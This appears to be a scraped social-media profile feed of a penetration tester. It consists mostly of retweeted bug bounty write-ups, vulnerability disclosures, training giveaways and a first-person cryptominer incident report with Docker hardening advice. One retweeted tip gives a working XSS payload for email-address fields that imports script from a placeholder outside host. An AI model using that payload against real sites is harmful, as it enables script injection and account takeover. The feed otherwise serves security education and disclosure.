Maniesh.Neupane (@pwn4arn) header
Maniesh.Neupane (@pwn4arn) profile picture

Pentester

Joined February 2022
Photo by Maniesh.Neupane (@pwn4arn)Photo by Maniesh.Neupane (@pwn4arn)Photo by Maniesh.Neupane (@pwn4arn)Photo by Maniesh.Neupane (@pwn4arn)Photo by Maniesh.Neupane (@pwn4arn)Photo by Maniesh.Neupane (@pwn4arn)Photo by Maniesh.Neupane (@pwn4arn)Photo by Maniesh.Neupane (@pwn4arn)Photo by Maniesh.Neupane (@pwn4arn)Photo by Maniesh.Neupane (@pwn4arn)
Maniesh.Neupane retweeted
On July 25, we hacked OpenAI. Two bugs let us take over ChatGPT/Codex accounts of OpenAI employees (+some unaffiliated users) and reach connected services: Outlook, Slack, GitHub, etc. We proved it with a PR in OpenAI’s internal codebase . It took us <72h. 🧵
353
1,377
547
11,764
2,828,686
Maniesh.Neupane retweeted
We’re disclosing HEIF Heist, a months-long investigation into libheif that allowed us to hack OpenAI, Slack, Meta, GitHub Ent, Rails, Next.js, ImageMagick, and many more. It was literally xkcd #234, one obscure image library beneath a huge number of apps. 🧵
48
426
66
3,226
562,504
Maniesh.Neupane retweeted
Google Bug Bounty Write-up ! Google Sheets — “Stop Publishing” Revocation Silently Reverted by Publishing Another Tab” manieshneupane.com.np/blog/g…
1
8
46
3,612
Google Bug Bounty Write-up ! Google Sheets — “Stop Publishing” Revocation Silently Reverted by Publishing Another Tab” manieshneupane.com.np/blog/g…
1
8
46
3,612
Maniesh.Neupane retweeted
Next hacker summer camp giveaway! 3 seats to our “The Bug Hunters Methodology” course! Like and share to be entered! arcanum-sec.com/training/the…
90
443
6
734
26,374
Maniesh.Neupane retweeted
Giveaway time! Up for grabs is 3 free tickets to our “Attacking AI” live course! Repost and like to enter! arcanum-sec.com/training/att…
93
595
9
770
30,415
Maniesh.Neupane retweeted
XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required). "><img/src/onerror=import('//domain/')>"@yourdomain .com cc @BRuteLogic - brutelogic.com.br/blog/xss-l…
8
243
6
854
53,286
Bug Bounty Recon Methodology Link: github.com/Maniesh-Neupane/B…
4
137
1
626
26,597
Maniesh.Neupane retweeted
Introducing my Bug Bounty Masterclass. 100% free. I've made $2,000,000+ finding security bugs. I spent the last year turning my methodology into a complete blueprint. 4 hours of video - foundations, reconnaissance, web proxies, hands-on challenges, and certification. Finish it in a weekend and start hacking real-world applications 🐞
112
337
33
2,106
262,768
Maniesh.Neupane retweeted
i've been hacked and traced the malware's wallet to see how much money they actually made from this new exploit (if you use Next.js/React, READ THIS!) I woke up to a terrifying email from Hetzner: "Netscan Detected." my server was blocked and a botnet was using my IP to attack others i dug into the logs and what I found the anatomy of the attack: 1) The Symptoms: I logged into htop and saw the mess: - CPU usage: 361% - A process named ./3ZU1yLK4 running wild - Random connections to an IP in the Netherlands my server wasn't serving my app anymore; it was mining crypto for someone else! 2) The Culprit: It wasn't a random SSH brute force. It was inside my Next.js container the malware was sophisticated it renamed itself nginxs and apaches to look like web servers it even had a "killer" script that hunted down other hackers' miners to kill the competition 3) The "Root" Cause (literally): Probably the recent React/Next.js CVE-2025-66478 exploit was the entry point (my project was running on "next": "15.5.4", behind cloudflare dns, but their recent fix didn't work apparently) but the fatal error was mine: my Docker container was running as ROOT Coolify deploys like this automatically when using Nixpacks, and I never changed it... so because of USER root, the malware could install cron, systemd, and persistence scripts to survive reboots meaning, it was able to infect my whole server, from a single Next.js docker! 4) The Forensics: I ran docker diff on the container - the hacker didn't just run a script, they installed a whole toolset.. - /tmp/apaches.sh (The installer) - /var/spool/cron/root (The persistence) - /c.json (The wallet config) 5) The Fix: I killed the container, scrubbed the host, and extracted the malware for analysis. but the real fix is in the Dockerfile. if you are deploying Node/Next.js, DO NOT use the default (root), you must: - RUN adduser --system nextjs - USER nextjs if you have Docker on ROOT and didn't update the exploited react version, you'll be hacked soon check your containers NOW. Run: docker exec <container_id> id (or get the full list first: docker stats --no-stream) If it says uid=0(root), you are one vulnerability away from being a crypto-miner host. (it's easy to notice when hacked, it will be a command running on the top CPU%, using all your hardware resources) 6) The Money: I dug deeper and recovered the config file (c.json) - Wallet: A Monero (XMR) address: 831abXJn8dBdVe5nZ*** - Pool: auto.c3pool . org and ofc i tracked the hacker’s wallet on the mining pool 7) The Scale: My server wasn't alone. It was just 1 of 415 active zombies in this botnet they are burning the CPU of 400+ cloud servers... to earn... guess how many millions? $4.26/day on the image attached you can see: "Total Paid: 0.00", meaning this campaign just started. I caught them on Day 1. i also tracked back the server where they hosted the malware, and by inspecting the code, I found several comments in Chinese, so I guess that's their origin im rebuilding from scratch on a fresh VPS. the lesson was expensive, but at least I caught it before the hosting nuked my account permanently... PS: I have the IP for all the other machines mining with that malware, not sure how I can help them, but feel free to contact me if ur doing infosec stay safe
260
823
171
4,962
959,468
If you are a smart contract maxi, open this thread 🧵 Most smart contract devs even know advanced solidity, but these subtle bugs have cost billions in DeFi. Here are the deadly mistakes that even experienced Solidity Engineers make. Read below ↓
11
22
4
171
13,637
Maniesh.Neupane retweeted
100 (very) short bug bounty rules:
76
728
40
1,854
260,940
Maniesh.Neupane retweeted
New writeup from @_specters_ and I: we're finally allowed to disclose a vulnerability reported to Kia which would've allowed an attacker to remotely control almost all vehicles made after 2013 using only the license plate. Full disclosure: samcurry.net/hacking-kia
84
955
132
3,502
345,174